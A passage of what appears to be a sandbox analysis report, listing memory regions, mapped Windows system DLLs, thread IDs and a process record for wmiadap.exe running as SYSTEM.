entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2565 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2566 start_va = 0xd0000 end_va = 0xd6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 2567 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2568 start_va = 0xf0000 end_va = 0xfffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2569 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2570 start_va = 0x190000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 2571 start_va = 0x290000 end_va = 0x290fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 2572 start_va = 0x2a0000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 2573 start_va = 0x3a0000 end_va = 0x527fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 2574 start_va = 0x530000 end_va = 0x6b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 2575 start_va = 0x6c0000 end_va = 0x77ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 2576 start_va = 0x780000 end_va = 0x780fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 2577 start_va = 0x7e0000 end_va = 0x85ffff entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 2578 start_va = 0x860000 end_va = 0x95ffff entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 2579 start_va = 0x9b0000 end_va = 0xa2ffff entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 2580 start_va = 0xa30000 end_va = 0xcfefff entry_point = 0xa30000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2581 start_va = 0xd00000 end_va = 0x10f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d00000" filename = "" Region: id = 2582 start_va = 0x11e0000 end_va = 0x125ffff entry_point = 0x0 region_type = private name = "private_0x00000000011e0000" filename = "" Region: id = 2583 start_va = 0x12c0000 end_va = 0x133ffff entry_point = 0x0 region_type = private name = "private_0x00000000012c0000" filename = "" Region: id = 2584 start_va = 0x1430000 end_va = 0x14affff entry_point = 0x0 region_type = private name = "private_0x0000000001430000" filename = "" Region: id = 2585 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2586 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2587 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2588 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2589 start_va = 0x7fef5ba0000 end_va = 0x7fef5bb5fff entry_point = 0x7fef5ba0000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 2590 start_va = 0x7fef6370000 end_va = 0x7fef6396fff entry_point = 0x7fef6370000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 2591 start_va = 0x7fef63a0000 end_va = 0x7fef6481fff entry_point = 0x7fef63a0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2592 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2593 start_va = 0x7fefbcd0000 end_va = 0x7fefbd55fff entry_point = 0x7fefbcd0000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 2594 start_va = 0x7fefbf00000 end_va = 0x7fefbf0efff entry_point = 0x7fefbf00000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2595 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2596 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2597 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2598 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2599 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2600 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2601 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2602 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2603 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2604 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2605 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2606 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2607 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2608 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2609 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2610 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2611 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2612 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2613 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2614 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2615 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2616 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2617 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2618 start_va = 0x14e0000 end_va = 0x155ffff entry_point = 0x0 region_type = private name = "private_0x00000000014e0000" filename = "" Region: id = 2619 start_va = 0x1630000 end_va = 0x16affff entry_point = 0x0 region_type = private name = "private_0x0000000001630000" filename = "" Region: id = 2620 start_va = 0x1740000 end_va = 0x17bffff entry_point = 0x0 region_type = private name = "private_0x0000000001740000" filename = "" Region: id = 2621 start_va = 0x7fee4f10000 end_va = 0x7fee5109fff entry_point = 0x7fee4f10000 region_type = mapped_file name = "cimwin32.dll" filename = "\\Windows\\System32\\wbem\\cimwin32.dll" (normalized: "c:\\windows\\system32\\wbem\\cimwin32.dll") Region: id = 2622 start_va = 0x7fee54c0000 end_va = 0x7fee550bfff entry_point = 0x7fee54c0000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 2623 start_va = 0x7fef5d00000 end_va = 0x7fef5d25fff entry_point = 0x7fef5d00000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 2624 start_va = 0x7fef5e10000 end_va = 0x7fef5e23fff entry_point = 0x7fef5e10000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2625 start_va = 0x7fefbee0000 end_va = 0x7fefbef0fff entry_point = 0x7fefbee0000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 2626 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2627 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2628 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2629 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2630 start_va = 0x75950000 end_va = 0x75952fff entry_point = 0x75950000 region_type = mapped_file name = "security.dll" filename = "\\Windows\\System32\\security.dll" (normalized: "c:\\windows\\system32\\security.dll") Region: id = 2631 start_va = 0x7fef9340000 end_va = 0x7fef9347fff entry_point = 0x7fef9340000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 2632 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2633 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2634 start_va = 0x790000 end_va = 0x792fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 2635 start_va = 0x7a0000 end_va = 0x7a4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007a0000" filename = "" Region: id = 2636 start_va = 0x16c0000 end_va = 0x173ffff entry_point = 0x0 region_type = private name = "private_0x00000000016c0000" filename = "" Region: id = 2637 start_va = 0x17d0000 end_va = 0x184ffff entry_point = 0x0 region_type = private name = "private_0x00000000017d0000" filename = "" Region: id = 2638 start_va = 0x1850000 end_va = 0x194ffff entry_point = 0x0 region_type = private name = "private_0x0000000001850000" filename = "" Region: id = 2639 start_va = 0x7fefbd80000 end_va = 0x7fefbd94fff entry_point = 0x7fefbd80000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2640 start_va = 0x7fefbda0000 end_va = 0x7fefbdabfff entry_point = 0x7fefbda0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2641 start_va = 0x7fefbdb0000 end_va = 0x7fefbdc5fff entry_point = 0x7fefbdb0000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2642 start_va = 0x7fefd210000 end_va = 0x7fefd266fff entry_point = 0x7fefd210000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 2643 start_va = 0x7fefd980000 end_va = 0x7fefd9a2fff entry_point = 0x7fefd980000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2644 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2645 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2646 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2647 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2648 start_va = 0x7fefbd60000 end_va = 0x7fefbd73fff entry_point = 0x7fefbd60000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 2649 start_va = 0x7fefd270000 end_va = 0x7fefd29ffff entry_point = 0x7fefd270000 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 2650 start_va = 0x7fef92b0000 end_va = 0x7fef92c1fff entry_point = 0x7fef92b0000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\System32\\browcli.dll" (normalized: "c:\\windows\\system32\\browcli.dll") Region: id = 2651 start_va = 0x7fef92a0000 end_va = 0x7fef92a9fff entry_point = 0x7fef92a0000 region_type = mapped_file name = "schedcli.dll" filename = "\\Windows\\System32\\schedcli.dll" (normalized: "c:\\windows\\system32\\schedcli.dll") Region: id = 2652 start_va = 0x7fefb740000 end_va = 0x7fefb74bfff entry_point = 0x7fefb740000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 2653 start_va = 0x1950000 end_va = 0x1c92fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001950000" filename = "" Region: id = 2654 start_va = 0x7fef9270000 end_va = 0x7fef929bfff entry_point = 0x7fef9270000 region_type = mapped_file name = "wmipcima.dll" filename = "\\Windows\\System32\\wbem\\wmipcima.dll" (normalized: "c:\\windows\\system32\\wbem\\wmipcima.dll") Region: id = 2655 start_va = 0x7fef9bc0000 end_va = 0x7fef9bcefff entry_point = 0x7fef9bc0000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 2656 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2657 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Thread: id = 248 os_tid = 0x934 Thread: id = 249 os_tid = 0x7e8 Thread: id = 250 os_tid = 0x84c Thread: id = 251 os_tid = 0x77c Thread: id = 252 os_tid = 0x6f0 Thread: id = 253 os_tid = 0x64c Thread: id = 254 os_tid = 0x114 Thread: id = 255 os_tid = 0xb44 Thread: id = 256 os_tid = 0x570 Thread: id = 315 os_tid = 0x714 Process: id = "17" image_name = "wmiadap.exe" filename = "c:\\windows\\system32\\wbem\\wmiadap.exe" page_root = "0x74688000" os_pid = "0xbf0" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x36c" cmd_line = "wmiadap.exe /F /T /R" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d435" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 2659 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2660 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2661 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2662 start_va = 0x210000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2663 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2664 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2665 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2666 start_va = 0xffff0000 end_va = 0x10001ffff entry_point = 0xffff0000 region_type = mapped_file name = "wmiadap.exe" filename = "\\Windows\\System32\\wbem\\WMIADAP.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiadap.exe") Region: id = 2667 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2668 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2669 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2670 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2671 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2672 start_va = 0x3c0000 end_va = 0x4bffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 2673 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2674 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2675 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2676 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2677 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2678 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2679 start_va = 0xc0000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2680 start_va = 0x1c0000 end_va = 0x1c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 2681 start_va = 0x1d0000 end_va = 0x1d0fff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 2682 start_va = 0x1e0000 end_va = 0x1e0fff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 2683 start_va = 0x290000 end_va = 0x34ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 2684 start_va = 0x4c0000 end_va = 0x647fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 2685 start_va = 0x660000 end_va = 0x66ffff entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 2686 start_va = 0x670000 end_va = 0x7f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 2687 start_va = 0x840000 end_va = 0x8bffff entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 2688 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2689 start_va = 0x7fef91e0000 end_va = 0x7fef9206fff entry_point = 0x7fef91e0000 region_type = mapped_file name = "loadperf.dll" filename = "\\Windows\\System32\\loadperf.dll" (normalized: "c:\\windows\\system32\\loadperf.dll") Region: id = 2690 start_va = 0x7fefbcd0000 end_va = 0x7fefbd55fff entry_point = 0x7fefbcd0000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 2691 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2692 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2693 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2694 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2695 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2696 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2697 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2698 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2699 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2700 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2701 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2702 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2703 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2904 start_va = 0x1f0000 end_va = 0x1f0fff entry_point = 0x0 